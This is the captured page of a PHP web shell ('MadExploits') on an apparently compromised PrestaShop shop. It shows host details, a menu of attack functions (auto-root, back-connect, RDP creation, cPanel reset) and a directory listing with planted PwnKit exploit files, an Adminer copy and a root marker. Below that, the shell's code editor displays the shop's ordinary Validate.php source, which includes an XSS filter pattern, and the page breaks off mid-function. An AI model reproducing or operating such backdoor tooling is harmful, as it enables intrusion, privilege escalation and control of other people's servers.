Linux webm004.cluster106.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Apache
: 10.106.20.4 | : 216.73.216.172
Cant Read [ /etc/named.conf ]
7.4.33
alinaousgg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
alinaousgg /
garmin /
classes /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
Smarty
[ DIR ]
drwx---r-x
assets
[ DIR ]
drwx---r-x
cache
[ DIR ]
drwx---r-x
checkout
[ DIR ]
drwx---r-x
container
[ DIR ]
drwx---r-x
controller
[ DIR ]
drwx---r-x
db
[ DIR ]
drwx---r-x
exception
[ DIR ]
drwx---r-x
form
[ DIR ]
drwx---r-x
helper
[ DIR ]
drwx---r-x
lang
[ DIR ]
drwx---r-x
log
[ DIR ]
drwx---r-x
module
[ DIR ]
drwx---r-x
order
[ DIR ]
drwx---r-x
pdf
[ DIR ]
drwx---r-x
product
[ DIR ]
drwx---r-x
proxy
[ DIR ]
drwx---r-x
range
[ DIR ]
drwx---r-x
shop
[ DIR ]
drwx---r-x
stock
[ DIR ]
drwx---r-x
tax
[ DIR ]
drwx---r-x
tree
[ DIR ]
drwx---r-x
webservice
[ DIR ]
drwx---r-x
.htaccess
170
B
-rw----r--
.mad-root
0
B
-rw-r--r--
Access.php
13.2
KB
-rw----r--
Address.php
20.13
KB
-rw----r--
AddressChecksumCore.php
1.7
KB
-rw----r--
AddressFormat.php
25.62
KB
-rw----r--
Alias.php
5.03
KB
-rw----r--
Attachment.php
7.91
KB
-rw----r--
Attribute.php
13.47
KB
-rw----r--
AttributeGroup.php
13.32
KB
-rw----r--
CMS.php
11.41
KB
-rw----r--
CMSCategory.php
24.09
KB
-rw----r--
CMSRole.php
1.78
KB
-rw----r--
CSV.php
3.04
KB
-rw----r--
Carrier.php
61.57
KB
-rw----r--
Cart.php
212.71
KB
-rw----r--
CartRule.php
88.48
KB
-rw----r--
Category.php
84.77
KB
-rw----r--
Chart.php
4.16
KB
-rw----r--
ChecksumInterface.php
1.13
KB
-rw----r--
Combination.php
14.5
KB
-rw----r--
Configuration.php
26.03
KB
-rw----r--
ConfigurationKPI.php
8.64
KB
-rw----r--
ConfigurationTest.php
11.92
KB
-rw----r--
Connection.php
10.31
KB
-rw----r--
ConnectionsSource.php
5.72
KB
-rw----r--
Contact.php
3.77
KB
-rw----r--
Context.php
13.8
KB
-rw----r--
Cookie.php
16.42
KB
-rw----r--
Country.php
16.12
KB
-rw----r--
Currency.php
35.48
KB
-rw----r--
Curve.php
2.42
KB
-rw----r--
Customer.php
46.67
KB
-rw----r--
CustomerAddress.php
1.26
KB
-rw----r--
CustomerMessage.php
5.71
KB
-rw----r--
CustomerSession.php
2.31
KB
-rw----r--
CustomerThread.php
9.63
KB
-rw----r--
Customization.php
13.35
KB
-rw----r--
CustomizationField.php
2.72
KB
-rw----r--
DateRange.php
2.47
KB
-rw----r--
Delivery.php
3.24
KB
-rw----r--
Dispatcher.php
43.1
KB
-rw----r--
Employee.php
22.1
KB
-rw----r--
EmployeeSession.php
2.32
KB
-rw----r--
Feature.php
11.16
KB
-rw----r--
FeatureValue.php
8.02
KB
-rw----r--
FileUploader.php
3.54
KB
-rw----r--
Gender.php
2.71
KB
-rw----r--
Group.php
14.51
KB
-rw----r--
GroupReduction.php
9.84
KB
-rw----r--
Guest.php
7.9
KB
-rw----r--
Hook.php
42.13
KB
-rw----r--
Image.php
28.51
KB
-rw----r--
ImageManager.php
23.98
KB
-rw----r--
ImageType.php
6.94
KB
-rw----r--
Language.php
57.96
KB
-rw----r--
Link.php
56.55
KB
-rw----r--
LocalizationPack.php
25.19
KB
-rw----r--
Mail.php
31.22
KB
-rw----r--
Manufacturer.php
20.82
KB
-rw----r--
ManufacturerAddress.php
1.28
KB
-rw----r--
Media.php
34.44
KB
-rw----r--
Message.php
6.26
KB
-rw----r--
Meta.php
17.97
KB
-rw----r--
Notification.php
7.42
KB
-rw----r--
ObjectModel.php
75.02
KB
-rw----r--
Pack.php
22.78
KB
-rw----r--
Page.php
4.48
KB
-rw----r--
PaymentFree.php
1.25
KB
-rw----r--
PaymentModule.php
59.53
KB
-rw----r--
PhpEncryption.php
3.39
KB
-rw----r--
PhpEncryptionEngine.php
4.26
KB
-rw----r--
PhpEncryptionLegacyEngine.php
4.77
KB
-rw----r--
PrestaShopAutoload.php
12.25
KB
-rw----r--
PrestaShopBackup.php
12.07
KB
-rw----r--
PrestaShopCollection.php
21.07
KB
-rw----r--
PrestaShopLogger.php
6.5
KB
-rw----r--
Product.php
269.79
KB
-rw----r--
ProductAssembler.php
3.37
KB
-rw----r--
ProductDownload.php
9.77
KB
-rw----r--
ProductPresenterFactory.php
3.6
KB
-rw----r--
ProductSale.php
12.7
KB
-rw----r--
ProductSupplier.php
8.76
KB
-rw----r--
Profile.php
7.56
KB
-rw----r--
QqUploadedFileForm.php
4.93
KB
-rw----r--
QqUploadedFileXhr.php
5.56
KB
-rw----r--
QuickAccess.php
4.65
KB
-rw----r--
Referrer.php
17.45
KB
-rw----r--
RequestSql.php
20.14
KB
-rw----r--
Risk.php
2.36
KB
-rw----r--
Search.php
51.05
KB
-rw----r--
SearchEngine.php
2.79
KB
-rw----r--
SpecificPrice.php
30.68
KB
-rw----r--
SpecificPriceRule.php
13.67
KB
-rw----r--
State.php
7.38
KB
-rw----r--
Store.php
6.25
KB
-rw----r--
Supplier.php
17.66
KB
-rw----r--
SupplierAddress.php
1.27
KB
-rw----r--
Tab.php
21.37
KB
-rw----r--
Tag.php
11.66
KB
-rw----r--
Tools.php
144.64
KB
-rw----r--
Translate.php
13.81
KB
-rw----r--
TranslatedConfiguration.php
4.56
KB
-rw----r--
Upgrader.php
11.54
KB
-rw----r--
Uploader.php
11.41
KB
-rw----r--
Validate.php
34.53
KB
-rw----r--
ValidateConstraintTranslator.p...
2.55
KB
-rw----r--
WarehouseAddress.php
1.27
KB
-rw----r--
Windows.php
1.34
KB
-rw----r--
Zone.php
3.4
KB
-rw----r--
adminer.php
465.43
KB
-rw-r--r--
index.php
1.34
KB
-rw----r--
pwnkit
10.99
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : Validate.php
<?php /** * Copyright since 2007 PrestaShop SA and Contributors * PrestaShop is an International Registered Trademark & Property of PrestaShop SA * * NOTICE OF LICENSE * * This source file is subject to the Open Software License (OSL 3.0) * that is bundled with this package in the file LICENSE.md. * It is also available through the world-wide-web at this URL: * https://opensource.org/licenses/OSL-3.0 * If you did not receive a copy of the license and are unable to * obtain it through the world-wide-web, please send an email * to license@prestashop.com so we can send you a copy immediately. * * DISCLAIMER * * Do not edit or add to this file if you wish to upgrade PrestaShop to newer * versions in the future. If you wish to customize PrestaShop for your * needs please refer to https://devdocs.prestashop.com/ for more information. * * @author PrestaShop SA and Contributors <contact@prestashop.com> * @copyright Since 2007 PrestaShop SA and Contributors * @license https://opensource.org/licenses/OSL-3.0 Open Software License (OSL 3.0) */ use Egulias\EmailValidator\EmailValidator; use Egulias\EmailValidator\Validation\MultipleValidationWithAnd; use Egulias\EmailValidator\Validation\RFCValidation; use PrestaShop\PrestaShop\Core\ConstraintValidator\Constraints\CustomerName; use PrestaShop\PrestaShop\Core\ConstraintValidator\Factory\CustomerNameValidatorFactory; use PrestaShop\PrestaShop\Core\Domain\Currency\ValueObject\NumericIsoCode; use PrestaShop\PrestaShop\Core\Email\SwiftMailerValidation; use PrestaShop\PrestaShop\Core\String\CharacterCleaner; use Symfony\Component\Validator\Validation; class ValidateCore { const ADMIN_PASSWORD_LENGTH = 8; const PASSWORD_LENGTH = 5; public static function isIp2Long($ip) { return preg_match('#^-?[0-9]+$#', (string) $ip); } public static function isAnything() { return true; } /** * Check for e-mail validity. * * @param string $email e-mail address to validate * * @return bool Validity is ok or not */ public static function isEmail($email) { return !empty($email) && (new EmailValidator())->isValid($email, new MultipleValidationWithAnd([ new RFCValidation(), new SwiftMailerValidation(), // special validation to be compatible with Swift Mailer ])); } /** * Check for module URL validity. * * @param string $url module URL to validate * @param array $errors Reference array for catching errors * * @return bool Validity is ok or not */ public static function isModuleUrl($url, &$errors) { if (!$url || $url == 'http://') { $errors[] = Context::getContext()->getTranslator()->trans('Please specify module URL', [], 'Admin.Modules.Notification'); } elseif (substr($url, -4) != '.tar' && substr($url, -4) != '.zip' && substr($url, -4) != '.tgz' && substr($url, -7) != '.tar.gz') { $errors[] = Context::getContext()->getTranslator()->trans('Unknown archive type.', [], 'Admin.Modules.Notification'); } else { if ((strpos($url, 'http')) === false) { $url = 'http://' . $url; } if (!is_array(@get_headers($url))) { $errors[] = Context::getContext()->getTranslator()->trans('Invalid URL', [], 'Admin.Notifications.Error'); } } if (!count($errors)) { return true; } return false; } /** * Check for MD5 string validity. * * @param string $md5 MD5 string to validate * * @return bool Validity is ok or not */ public static function isMd5($md5) { return preg_match('/^[a-f0-9A-F]{32}$/', $md5); } /** * Check for SHA1 string validity. * * @param string $sha1 SHA1 string to validate * * @return bool Validity is ok or not */ public static function isSha1($sha1) { return preg_match('/^[a-fA-F0-9]{40}$/', $sha1); } /** * Check for a float number validity. * * @param float $float Float number to validate * * @return bool Validity is ok or not */ public static function isFloat($float) { return (string) ((float) $float) == (string) $float; } public static function isUnsignedFloat($float) { return (string) ((float) $float) == (string) $float && $float >= 0; } /** * Check for a float number validity. * * @param float $float Float number to validate * * @return bool Validity is ok or not */ public static function isOptFloat($float) { return empty($float) || Validate::isFloat($float); } /** * Check for a carrier name validity. * * @param string $name Carrier name to validate * * @return bool Validity is ok or not */ public static function isCarrierName($name) { return empty($name) || preg_match(Tools::cleanNonUnicodeSupport('/^[^<>;=#{}]*$/u'), $name); } /** * Check for an image size validity. * * @param string $size Image size to validate * * @return bool Validity is ok or not */ public static function isImageSize($size) { return preg_match('/^[0-9]{1,4}$/', $size); } /** * Check whether given customer name is valid * * @param string $name Name to validate * * @return bool */ public static function isCustomerName($name) { $validatorBuilder = Validation::createValidatorBuilder(); $validatorBuilder->setConstraintValidatorFactory( new CustomerNameValidatorFactory(new CharacterCleaner()) ); $validator = $validatorBuilder->getValidator(); $violations = $validator->validate($name, [ new CustomerName(), ]); return (count($violations) !== 0) ? 0 : 1; } /** * Check whether given name is valid * * @param string $name Name to validate * * @return bool */ public static function isName($name) { $validityPattern = Tools::cleanNonUnicodeSupport( '/^[^0-9!<>,;?=+()@#"°{}_$%:¤|]*$/u' ); return preg_match($validityPattern, $name); } /** * Check for hook name validity. * * @param string $hook Hook name to validate * * @return bool Validity is ok or not */ public static function isHookName($hook) { return preg_match('/^[a-zA-Z0-9_-]+$/', $hook); } /** * Check for sender name validity. * * @param string $mail_name Sender name to validate * * @return bool Validity is ok or not */ public static function isMailName($mail_name) { return is_string($mail_name) && preg_match(Tools::cleanNonUnicodeSupport('/^[^<>;=#{}]*$/u'), $mail_name); } /** * Check for e-mail subject validity. * * @param string $mail_subject e-mail subject to validate * * @return bool Validity is ok or not */ public static function isMailSubject($mail_subject) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^<>]*$/u'), $mail_subject); } /** * Check for module name validity. * * @param string $module_name Module name to validate * * @return bool Validity is ok or not */ public static function isModuleName($module_name) { return is_string($module_name) && preg_match('/^[a-zA-Z0-9_-]+$/', $module_name); } /** * Check for template name validity. * * @param string $tpl_name Template name to validate * * @return bool Validity is ok or not */ public static function isTplName($tpl_name) { return preg_match('/^[a-zA-Z0-9_-]+$/', $tpl_name); } /** * Check for image type name validity. * * @param string $type Image type name to validate * * @return bool Validity is ok or not */ public static function isImageTypeName($type) { return preg_match('/^[a-zA-Z0-9_ -]+$/', $type); } /** * Check for price validity. * * @param string $price Price to validate * * @return bool Validity is ok or not */ public static function isPrice($price) { return preg_match('/^[0-9]{1,10}(\.[0-9]{1,9})?$/', $price); } /** * Check for price validity (including negative price). * * @param string $price Price to validate * * @return bool Validity is ok or not */ public static function isNegativePrice($price) { return preg_match('/^[-]?[0-9]{1,10}(\.[0-9]{1,9})?$/', $price); } /** * Check for language code (ISO) validity. * * @param string $iso_code Language code (ISO) to validate * * @return bool Validity is ok or not */ public static function isLanguageIsoCode($iso_code) { return preg_match('/^[a-zA-Z]{2,3}$/', $iso_code); } public static function isLanguageCode($s) { return preg_match('/^[a-zA-Z]{2}(-[a-zA-Z]{2})?$/', $s); } /** * @see https://en.wikipedia.org/wiki/IETF_language_tag#ISO_3166-1_and_UN_M.49 * * @param string $s * * @return bool */ public static function isLocale($s) { return preg_match('/^[a-z]{2}-[A-Z]{2}$/', $s); } public static function isStateIsoCode($iso_code) { return preg_match('/^[a-zA-Z0-9]{1,4}((-)[a-zA-Z0-9]{1,4})?$/', $iso_code); } public static function isNumericIsoCode($iso_code) { return preg_match(NumericIsoCode::PATTERN, $iso_code); } /** * Check for voucher name validity. * * @param string $voucher voucher to validate * * @return bool Validity is ok or not */ public static function isDiscountName($voucher) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^!<>,;?=+()@"°{}_$%:]{3,32}$/u'), $voucher); } /** * Check for product or category name validity. * * @param string $name Product or category name to validate * * @return bool Validity is ok or not */ public static function isCatalogName($name) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^<>;=#{}]*$/u'), $name); } /** * Check for a message validity. * * @param string $message Message to validate * * @return bool Validity is ok or not */ public static function isMessage($message) { return !preg_match('/[<>{}]/i', $message); } /** * Check for a country name validity. * * @param string $name Country name to validate * * @return bool Validity is ok or not */ public static function isCountryName($name) { return preg_match('/^[a-zA-Z -]+$/', $name); } /** * Check for a link (url-rewriting only) validity. * * @param string $link Link to validate * * @return bool Validity is ok or not */ public static function isLinkRewrite($link) { if (Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL')) { return preg_match(Tools::cleanNonUnicodeSupport('/^[_a-zA-Z0-9\x{0600}-\x{06FF}\pL\pS-]+$/u'), $link); } return preg_match('/^[_a-zA-Z0-9\-]+$/', $link); } /** * Check for a route pattern validity. * * @param string $pattern to validate * * @return bool Validity is ok or not */ public static function isRoutePattern($pattern) { if (Configuration::get('PS_ALLOW_ACCENTED_CHARS_URL')) { return preg_match(Tools::cleanNonUnicodeSupport('/^[_a-zA-Z0-9\x{0600}-\x{06FF}\(\)\.{}:\/\pL\pS-]+$/u'), $pattern); } return preg_match('/^[_a-zA-Z0-9\(\)\.{}:\/\-]+$/', $pattern); } /** * Check for a postal address validity. * * @param string $address Address to validate * * @return bool Validity is ok or not */ public static function isAddress($address) { return empty($address) || preg_match(Tools::cleanNonUnicodeSupport('/^[^!<>?=+@{}_$%]*$/u'), $address); } /** * Check for city name validity. * * @param string $city City name to validate * * @return bool Validity is ok or not */ public static function isCityName($city) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^!<>;?=+@#"°{}_$%]*$/u'), $city); } /** * Check for search query validity. * * @param string $search Query to validate * * @return bool Validity is ok or not */ public static function isValidSearch($search) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^<>;=#{}]{0,64}$/u'), $search); } /** * Check for standard name validity. * * @param string $name Name to validate * * @return bool Validity is ok or not */ public static function isGenericName($name) { return empty($name) || preg_match(Tools::cleanNonUnicodeSupport('/^[^<>={}]*$/u'), $name); } /** * Check for HTML field validity (no XSS please !). * * @param string $html HTML field to validate * * @return bool Validity is ok or not */ public static function isCleanHtml($html, $allow_iframe = false) { $events = 'onmousedown|onmousemove|onmmouseup|onmouseover|onmouseout|onload|onunload|onfocus|onblur|onchange'; $events .= '|onsubmit|ondblclick|onclick|onkeydown|onkeyup|onkeypress|onmouseenter|onmouseleave|onerror|onselect|onreset|onabort|ondragdrop|onresize|onactivate|onafterprint|onmoveend'; $events .= '|onafterupdate|onbeforeactivate|onbeforecopy|onbeforecut|onbeforedeactivate|onbeforeeditfocus|onbeforepaste|onbeforeprint|onbeforeunload|onbeforeupdate|onmove'; $events .= '|onbounce|oncellchange|oncontextmenu|oncontrolselect|oncopy|oncut|ondataavailable|ondatasetchanged|ondatasetcomplete|ondeactivate|ondrag|ondragend|ondragenter|onmousewheel'; $events .= '|ondragleave|ondragover|ondragstart|ondrop|onerrorupdate|onfilterchange|onfinish|onfocusin|onfocusout|onhashchange|onhelp|oninput|onlosecapture|onmessage|onmouseup|onmovestart'; $events .= '|onoffline|ononline|onpaste|onpropertychange|onreadystatechange|onresizeend|onresizestart|onrowenter|onrowexit|onrowsdelete|onrowsinserted|onscroll|onsearch|onselectionchange'; $events .= '|onselectstart|onstart|onstop'; if (preg_match('/<[\s]*script/ims', $html) || preg_match('/(' . $events . ')[\s]*=/ims', $html) || preg_match('/.*script\:/ims', $html)) { return false; } if (!$allow_iframe && preg_match('/<[\s]*(i?frame|form|input|embed|object)/ims', $html)) { return false; } return true; } /** * Check for product reference validity. * * @param string $reference Product reference to validate * * @return bool Validity is ok or not */ public static function isReference($reference) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^<>;={}]*$/u'), $reference); } /** * Check for password validity. * * @param string $passwd Password to validate * @param int $size * * @return bool Validity is ok or not * * @deprecated 1.7.0 */ public static function isPasswd($passwd, $size = Validate::PASSWORD_LENGTH) { return self::isPlaintextPassword($passwd, $size); } /** * Check if plaintext password is valid * Size is limited by `password_hash()` (72 chars). * * @param string $plaintextPasswd Password to validate * @param int $size * * @return bool Indicates whether the given string is a valid plaintext password * * @since 1.7.0 */ public static function isPlaintextPassword($plaintextPasswd, $size = Validate::PASSWORD_LENGTH) { // The password lenght is limited by `password_hash()` return Tools::strlen($plaintextPasswd) >= $size && Tools::strlen($plaintextPasswd) <= 72; } /** * Check if hashed password is valid * PrestaShop supports both MD5 and `PASSWORD_BCRYPT` (PHP API) * The lengths are 32 (MD5) or 60 (`PASSWORD_BCRYPT`) * Anything else is invalid. * * @param string $hashedPasswd Password to validate * @param int $size * * @return bool Indicates whether the given string is a valid hashed password * * @since 1.7.0 */ public static function isHashedPassword($hashedPasswd) { return Tools::strlen($hashedPasswd) == 32 || Tools::strlen($hashedPasswd) == 60; } public static function isPasswdAdmin($passwd) { return Validate::isPlaintextPassword($passwd, Validate::ADMIN_PASSWORD_LENGTH); } /** * Check for configuration key validity. * * @param string $config_name Configuration key to validate * * @return bool Validity is ok or not */ public static function isConfigName($config_name) { return preg_match('/^[a-zA-Z_0-9-]+$/', $config_name); } /** * Check date formats like http://php.net/manual/en/function.date.php. * * @param string $date_format date format to check * * @return bool Validity is ok or not */ public static function isPhpDateFormat($date_format) { // We can't really check if this is valid or not, because this is a string and you can write whatever you want in it. // That's why only < et > are forbidden (HTML) return preg_match('/^[^<>]+$/', $date_format); } /** * Check for date format. * * @param string $date Date to validate * * @return bool Validity is ok or not */ public static function isDateFormat($date) { return (bool) preg_match('/^([0-9]{4})-((0?[0-9])|(1[0-2]))-((0?[0-9])|([1-2][0-9])|(3[01]))( [0-9]{2}:[0-9]{2}:[0-9]{2})?$/', $date); } /** * Check for date validity. * * @param string $date Date to validate * * @return bool Validity is ok or not */ public static function isDate($date) { if (!preg_match('/^([0-9]{4})-((?:0?[0-9])|(?:1[0-2]))-((?:0?[0-9])|(?:[1-2][0-9])|(?:3[01]))( [0-9]{2}:[0-9]{2}:[0-9]{2})?$/', $date, $matches)) { return false; } return checkdate((int) $matches[2], (int) $matches[3], (int) $matches[1]); } public static function isDateOrNull($date) { if (null === $date || $date === '0000-00-00 00:00:00' || $date === '0000-00-00') { return true; } return self::isDate($date); } /** * Check for birthDate validity. * * @param string $date birthdate to validate * @param string $format optional format * * @return bool Validity is ok or not */ public static function isBirthDate($date, $format = 'Y-m-d') { if (empty($date) || $date == '0000-00-00') { return true; } $d = DateTime::createFromFormat($format, $date); if (!empty(DateTime::getLastErrors()['warning_count']) || false === $d) { return false; } return $d->setTime(0, 0, 0)->getTimestamp() <= time(); } /** * Check for boolean validity. * * @param bool $bool Boolean to validate * * @return bool Validity is ok or not */ public static function isBool($bool) { return $bool === null || is_bool($bool) || preg_match('/^(0|1)$/', $bool); } /** * Check for phone number validity. * * @param string $number Phone number to validate * * @return bool Validity is ok or not */ public static function isPhoneNumber($number) { return preg_match('/^[+0-9. ()\/-]*$/', $number); } /** * Check for barcode validity (EAN-13). * * @param string $ean13 Barcode to validate * * @return bool Validity is ok or not */ public static function isEan13($ean13) { return !$ean13 || preg_match('/^[0-9]{0,13}$/', $ean13); } /** * Check for ISBN. * * @param string $isbn validate * * @return bool Validity is ok or not */ public static function isIsbn($isbn) { return !$isbn || preg_match('/^[0-9-]{0,32}$/', $isbn); } /** * Check for barcode validity (UPC). * * @param string $upc Barcode to validate * * @return bool Validity is ok or not */ public static function isUpc($upc) { return !$upc || preg_match('/^[0-9]{0,12}$/', $upc); } /** * Check for MPN validity. * * @param string $mpn to validate * * @return bool Validity is ok or not */ public static function isMpn($mpn) { return Tools::strlen($mpn) <= 40; } /** * Check for postal code validity. * * @param string $postcode Postal code to validate * * @return bool Validity is ok or not */ public static function isPostCode($postcode) { return empty($postcode) || preg_match('/^[a-zA-Z 0-9-]+$/', $postcode); } /** * Check for zip code format validity. * * @param string $zip_code zip code format to validate * * @return bool Validity is ok or not */ public static function isZipCodeFormat($zip_code) { if (!empty($zip_code)) { return preg_match('/^[NLCnlc 0-9-]+$/', $zip_code); } return true; } /** * Check for table or identifier validity * Mostly used in database for ordering : ASC / DESC. * * @param string $way Keyword to validate * * @return bool Validity is ok or not */ public static function isOrderWay($way) { return $way === 'ASC' | $way === 'DESC' | $way === 'asc' | $way === 'desc'; } /** * Check for table or identifier validity * Mostly used in database for ordering : ORDER BY field. * * @param string $order Field to validate * * @return bool Validity is ok or not */ public static function isOrderBy($order) { return preg_match('/^[a-zA-Z0-9.!_-]+$/', $order); } /** * Check for table or identifier validity * Mostly used in database for table names and id_table. * * @param string $table Table/identifier to validate * * @return bool Validity is ok or not */ public static function isTableOrIdentifier($table) { return preg_match('/^[a-zA-Z0-9_-]+$/', $table); } /** * Check for tags list validity. * * @param string $list List to validate * * @return bool Validity is ok or not */ public static function isTagsList($list) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^!<>;?=+#"°{}_$%]*$/u'), $list); } /** * Check for product visibility. * * @param string $s visibility to check * * @return bool Validity is ok or not */ public static function isProductVisibility($s) { return preg_match('/^both|catalog|search|none$/i', $s); } /** * Check for an integer validity. * * @param int $value Integer to validate * * @return bool Validity is ok or not */ public static function isInt($value) { return (string) (int) $value === (string) $value || $value === false; } /** * Check for an integer validity (unsigned). * * @param int $value Integer to validate * * @return bool Validity is ok or not */ public static function isUnsignedInt($value) { return (string) (int) $value === (string) $value && $value < 4294967296 && $value >= 0; } /** * Check for an percentage validity (between 0 and 100). * * @param float $value Float to validate * * @return bool Validity is ok or not */ public static function isPercentage($value) { return Validate::isFloat($value) && $value >= 0 && $value <= 100; } /** * Check for an integer validity (unsigned) * Mostly used in database for auto-increment. * * @param int $id Integer to validate * * @return bool Validity is ok or not */ public static function isUnsignedId($id) { return Validate::isUnsignedInt($id); /* Because an id could be equal to zero when there is no association */ } public static function isNullOrUnsignedId($id) { return $id === null || Validate::isUnsignedId($id); } /** * Check object validity. * * @param object $object Object to validate * * @return bool Validity is ok or not */ public static function isLoadedObject($object) { return is_object($object) && $object->id; } /** * Check color validity. * * @param string $color Color to validate * * @return bool Validity is ok or not */ public static function isColor($color) { return preg_match('/^(#[0-9a-fA-F]{6}|[a-zA-Z0-9-]*)$/', $color); } /** * Check url validity (disallowed empty string). * * @param string $url Url to validate * * @return bool Validity is ok or not */ public static function isUrl($url) { return preg_match(Tools::cleanNonUnicodeSupport('/^[~:#,$%&_=\(\)\.\? \+\-@\/a-zA-Z0-9\pL\pS-]+$/u'), $url); } /** * Check tracking number validity (disallowed empty string). * * @param string $tracking_number Tracking number to validate * * @return bool Validity is ok or not */ public static function isTrackingNumber($tracking_number) { return preg_match('/^[~:#,%&_=\(\)\[\]\.\? \+\-@\/a-zA-Z0-9]+$/', $tracking_number); } /** * Check url validity (allowed empty string). * * @param string $url Url to validate * * @return bool Validity is ok or not */ public static function isUrlOrEmpty($url) { return empty($url) || Validate::isUrl($url); } /** * Check if URL is absolute. * * @param string $url URL to validate * * @return bool Validity is ok or not */ public static function isAbsoluteUrl($url) { if (!empty($url)) { return preg_match('/^(https?:)?\/\/[$~:;#,%&_=\(\)\[\]\.\? \+\-@\/a-zA-Z0-9]+$/', $url); } return true; } public static function isMySQLEngine($engine) { return in_array($engine, ['InnoDB', 'MyISAM']); } public static function isUnixName($data) { return preg_match(Tools::cleanNonUnicodeSupport('/^[a-z0-9\._-]+$/ui'), $data); } public static function isTablePrefix($data) { // Even if "-" is theorically allowed, it will be considered a syntax error if you do not add backquotes (`) around the table name return preg_match(Tools::cleanNonUnicodeSupport('/^[a-z0-9_]+$/ui'), $data); } /** * Check for standard name file validity. * * @param string $name Name to validate * * @return bool Validity is ok or not */ public static function isFileName($name) { return preg_match('/^[a-zA-Z0-9_.-]+$/', $name); } /** * Check for standard name directory validity. * * @param string $dir Directory to validate * * @return bool Validity is ok or not */ public static function isDirName($dir) { return (bool) preg_match('/^[a-zA-Z0-9_.-]*$/', $dir); } /** * Check for admin panel tab name validity. * * @param string $name Name to validate * * @return bool Validity is ok or not */ public static function isTabName($name) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^<>]+$/u'), $name); } public static function isWeightUnit($unit) { return Validate::isGenericName($unit) & (Tools::strlen($unit) < 5); } public static function isDistanceUnit($unit) { return Validate::isGenericName($unit) & (Tools::strlen($unit) < 5); } public static function isSubDomainName($domain) { return preg_match('/^[a-zA-Z0-9-_]*$/', $domain); } public static function isVoucherDescription($text) { return preg_match('/^([^<>{}]|<br \/>)*$/i', $text); } /** * Check if the value is a sort direction value (DESC/ASC). * * @param string $value * * @return bool Validity is ok or not */ public static function isSortDirection($value) { return $value !== null && ($value === 'ASC' || $value === 'DESC'); } /** * Customization fields' label validity. * * @param string $label * * @return bool Validity is ok or not */ public static function isLabel($label) { return preg_match(Tools::cleanNonUnicodeSupport('/^[^{}<>]*$/u'), $label); } /** * Price display method validity. * * @param int $data Data to validate * * @return bool Validity is ok or not */ public static function isPriceDisplayMethod($data) { return $data == PS_TAX_EXC || $data == PS_TAX_INC; } /** * @param string $dni to validate * * @return bool */ public static function isDniLite($dni) { return empty($dni) || (bool) preg_match('/^[0-9A-Za-z-.]{1,16}$/U', $dni); } /** * Check if $data is a PrestaShop cookie object. * * @param mixed $data to validate * * @return bool */ public static function isCookie($data) { return is_object($data) && get_class($data) == 'Cookie'; } /** * Check if $data is a string. * * @param string $data Data to validate * * @return bool Validity is ok or not */ public static function isString($data) { return is_string($data); } /** * Check if the data is a reduction type (amout or percentage). * * @param string $data Data to validate * * @return bool Validity is ok or not */ public static function isReductionType($data) { return $data === 'amount' || $data === 'percentage'; } /** * Check for bool_id. * * @param string $ids * * @return bool Validity is ok or not */ public static function isBoolId($ids) { return (bool) preg_match('#^[01]_[0-9]+$#', $ids); } /** * Check the localization pack part selected. * * @param string $data Localization pack to check * * @return bool Validity is ok or not */ public static function isLocalizationPackSelection($data) { return in_array((string) $data, ['states', 'taxes', 'currencies', 'languages', 'units', 'groups']); } /** * Check for PHP serialized data. * * @param string $data Serialized data to validate * * @return bool Validity is ok or not */ public static function isSerializedArray($data) { return $data === null || (is_string($data) && preg_match('/^a:[0-9]+:{.*;}$/s', $data)); } /** * Check if $string is a valid JSON string. * * @param string $string JSON string to validate * * @return bool Validity is ok or not */ public static function isJson($string) { json_decode($string); return json_last_error() == JSON_ERROR_NONE; } /** * Check for Latitude/Longitude. * * @param string $data Coordinate to validate * * @return bool Validity is ok or not */ public static function isCoordinate($data) { return $data === null || preg_match('/^\-?[0-9]{1,8}\.[0-9]{1,8}$/s', $data); } /** * Check for Language Iso Code. * * @param string $iso_code * * @return bool Validity is ok or not */ public static function isLangIsoCode($iso_code) { return (bool) preg_match('/^[a-zA-Z]{2,3}$/s', $iso_code); } /** * Check for Language File Name. * * @param string $file_name * * @return bool Validity is ok or not */ public static function isLanguageFileName($file_name) { return (bool) preg_match('/^[a-zA-Z]{2,3}\.(?:gzip|tar\.gz)$/s', $file_name); } /** * @param array $ids * * @return bool return true if the array contain only unsigned int value */ public static function isArrayWithIds($ids) { if (count($ids)) { foreach ($ids as $id) { if ($id == 0 || !Validate::isUnsignedInt($id)) { return false; } } } return true; } /** * @param array $stock_management * * @return bool return true if is a valide stock management */ public static function isStockManagement($stock_management) { if (!in_array($stock_management, ['WA', 'FIFO', 'LIFO'])) { return false; } return true; } /** * Validate SIRET Code. * * @param string $siret SIRET Code * * @return bool Return true if is valid */ public static function isSiret($siret) { if (Tools::strlen($siret) != 14) { return false; } $sum = 0; for ($i = 0; $i != 14; ++$i) { $tmp = ((($i + 1) % 2) + 1) * (int) ($siret[$i]); if ($tmp >= 10) { $tmp -= 9; } $sum += $tmp; } return $sum % 10 === 0; } /** * Validate APE Code. * * @param string $ape APE Code * * @return bool Return true if is valid */ public static function isApe($ape) { return (bool) preg_match('/^[0-9]{3,4}[a-zA-Z]{1}$/s', $ape); } public static function isControllerName($name) { return (bool) (is_string($name) && preg_match(Tools::cleanNonUnicodeSupport('/^[0-9a-zA-Z-_]*$/u'), $name)); } public static function isPrestaShopVersion($version) { return preg_match('/^[0-1]\.[0-9]{1,2}(\.[0-9]{1,2}){0,2}$/', $version) && ip2long($version); } public static function 